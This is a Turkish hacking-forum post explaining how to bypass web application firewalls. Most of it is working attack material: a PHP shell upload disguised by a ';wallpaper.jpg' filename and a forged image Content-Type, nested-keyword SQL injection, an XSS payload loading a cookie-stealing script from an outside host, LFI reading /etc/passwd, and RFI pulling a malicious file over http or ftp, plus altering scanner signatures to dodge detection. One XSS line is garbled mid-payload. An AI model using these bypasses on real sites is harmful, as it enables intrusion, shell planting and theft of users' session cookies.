Web Uygulamaları üzerinde FireWall Bypass

  • Konbuyu başlatan Konbuyu başlatan Z1rT
  • Başlangıç tarihi Başlangıç tarihi
9
EXE RANK

Z1rT

Fexe Kullanıcısı
Puanları 0
Çözümler 0
Katılım
26 Kas 2009
Mesajlar
9,190
Tepkime puanı
0
Puanları
0
Yaş
33
Web sitesi
www.netbilgini.net
Z1rT
FireWall gibi güvenlik önlemlerini nasıl atlatıldığı hakkında birkaç örnek verilerek anlatılmakta.

Senaryomuza göre FireWall uygulamamızın kontrol ettiği değerler;

Upload Kontrolü,Gönderilen POST ve GET verilerin kontrolü,hazır güvenlik testi programlarının engellenmesi olsun.

Hemen olaya geçelim; yukarda belirtmiş olduğumuz değerlere göre alanlar olduğunu varsayalım ve bu alanlarda web güvenlik açığı olduğunu düşünelim, ilk olarak upload bölümünden başlıyalım;

Upload bölümünde gönderilen dosyanın zararlı uygulama olan shell dosyası olduğunu varsayalım;

FireWall’ımız ilk olarak dosya uzantısına bakıcaktır bu yüzden zararli_dosya.php dosyasınin uzantisi uygulama uzantısı olduğu için firewall bunu engelleyecektir, hemen farklı bir şekilde deniyelim;

zararli_dosya.php => zararli_dosya.php;wallpaper.jpg

adını bu şekilde değiştirdikten sonra uygulamanın bir resim gibi uzantısı olduğunu görüyoruz, bunu sunucuya gönderdiğimizde sunucu bunu direk olarak kabul edecektir ve içeriye dosya sokmamızı sağlayacaktır, çünkü dosya uzantısı bir resim uzantısı.

Olayı biraz daha zorlaştıralım, Firewall gönderilen dosyanın sadece uzantısına değil, dosya tipine baktığını varsayalım;

wol_error.gif
Orjinal Boyutunda Açmak İçin ( 1053x648 ve %3$sKB ) Buraya Tıklayın
tamper_data.png


Not : Resmin Bulundugu Web adresine şuan erişim yok


yukardaki resimde gönderilen veriyi tamper data ile izlediğimize;

filename=”zararli_dosya.php;wallpeper.jpg”
Content-Type: application/x-php

gönderilen dosya adını ve dosya türünü görebiliyoruz.
Firewall uygulamasının resim türünden başka bir uygulamayı sisteme almayı kabul etmediği için aynı dosyayı göndererek farklı bir tür olarak göndereceğiz, yani resim olarak.

işlemi tekrarladığımızda Content-Type: application/x-php kodunu Content-Type: image/jpeg olarak değiştirdiğimde gönderilen dosya türünün resim olduğunu söyledik ve firewall resim türlerini ve uzantısını kabul ettiği için zararlı dosyamızı gene sisteme sızdırabiliyoruz.

Evet geçelim POST ve GET üzerinden gönderilen verilerde FireWall kontrolünün nasıl atlatıldığına;

FireWall’ımız bu sefer hazırlıklı ve gönderilen veriler içerisinde zararlı kelime arıyacaktır ve gönderilen veride bulunan zararlı kelimeleri/kodları bulup engelleyecektir.Hemen senaryo için engelli kelimelerimizi oluşturalım;

SQL Injection için: union,benchmark,information_schema,load_file,”,’ olsun.
XSS İçin: (document.cookie),alert,script,.js,<,>,/**/
LFI için: /etc/passwd, ../../
RFI için: http://, .txt

Evet Firewallımızda bu kelimeler öntanımlı olsun ve hemen başlıylım;

Firewallımızın ilk olarak bu kelimeleri sildiğini varsayalım;
Kelimeler silindiğinde tekrar kullanımı zor olmayacaktır(tek karakterler hariç),
sebebi o anki gönderilen veri içerisinde bu kelimeleri arıyacağı için silindikten sonra oluşan kelimelere müdahale edemiyecektir.yani;

union+select+1,2,3+from+information_schema.tables

olarak girilen saldırı kodu şu hali alacaktır;

+select+1,2,3+from+.tables

böylece sorgu çalışmayacaktır, peki biz kelimeyi 2 parçaya bölersek? Yani kelime siliniğinde bölünen parçaların birleştiğini düşünelim;

ununionion+select+1,2,3+from+informationinformatio n_schema_schema.tables sorgusunu gönderdiğimizde kelimelerin silindiğini varsayalım;

union+select+1,2,3+from+information_schema.tables bu şekilde aşmış olacağız.

XSS’e geçelim XSS’te yukardaki kelimelerin engelli olduğunu ve arama kutusunda XSS olduğunu varsayarak işlem yapalım;

<input type=”text” name=”aranan_kelime” value=” Dünyada bugün![XSS] ” />

evet kodumuz bu şekilde ve saldırı kodumuz bu şekilde olsun

<input type=”text” name=”aranan_kelime” value=” Dünyada bugün! “><script src=’http://zararli/cookie_calan.js’</script>)” />

bu sefer silinen kelimeyi farklı kodlar kullanarak aşacağız yani şu şekilde düşünelim<,>,script ve .js engelli o zaman farklı bir şekilde yapacağız;

<input type=”text” name=”aranan_kelime” value=” Dünyada bugün! ” onload=”b=document.cookie;a=new/**/etc/passwd

dosyasına erişemiyoruz ama dizin alama işlemindeki slaşlara 1 tane daha eklersek direk atlatmış olacağız çünkü aradığı kelimeye eş değer olmayacaktır.

lfi_dosyasi.php?dosyam=..//etc//passwd

Evet gördüğünüz gibi, hemen vakit kaybetmeden RFI geçelim;

RFI uzaktan dosya dahil etme işlemidir, bu daha risklidir;

rfi_dosyasi.php?cagir=http://tehlikeli.site/zararli_dosya.txt

diyelim http:// ve .txt takılacaktır, dosya uzantısını değiştirebiliriz yani çağıracağımız dosya uzantısını .abc ya da .wg gibi şeyler yapabiliriz, http:// kodunu ise https:// ile atlatabilir ya da;

ftp://kullanici:sifre@tehlikeli.site/zararli_dosya.abc yaptığımız zaman gene sistemi atlamış olacağız.

Fazla uzatmadan hemen geçelim hazır güvenlik testi programlarının engellenmesine;

bu tür programlar site adresini verdikten sonra yani hedefi gösterdikten sonra bilinen web güvenlik açıkları üzerinde tarama yapar ve açığı bulduğu zaman size bilgi verir ve de sizde uğraşmazsınız.Firewall uygulamalarında bu tür uyulamaları kökten çözemeyecekleri için bu tür programlarda sabit olan verileri hedef alır, yani saldırgan program hedef siteye bağlanırken, tüm web sayfaları için kullandığı sabit değerleri kara listeye alır.

Örneğin;

Siteye bağlanırken tarayıcı verisi (USER_AGENT: Mozilla/4.0 (compatible; M*** 6.0; Windows NT 5.0; .NET CLR 1.1.4322) JSky/1.0)
Gönderilen veriler üzerindeki sabit değerler (SQL Injection: /*JSkySQL*/; XSS: **********alert(\JSKY\)</script>)
bu veriler JSky adlı güvenlik açığı tarıyan programa ait ufak sabit değer bilgileri, Firewall bunları tanımlayarak yukardaki gibi içerisinde geçtiği an müdahale edecek şekilde ayarlanmıştır, bu yüzden gene gönderilen veriler üzerinde ufak değişiklikler yapılarak bu uygulamalarda böylece aşılabilir; örn
frown.gif
SQL Injection: /*JdegistirSkyBrowser*/) Gibi.

Evet arkadaşlar Web uygulamaları üzerinde Firewall gibi güvenlik araçlarının nasıl basit bir şekilde aşılabildiğini gösterdik bir sonraki makalemizde görüşmek üzere, görüşlerizi yorum olarak belirtebilirsiniz.


 
Geri
Üst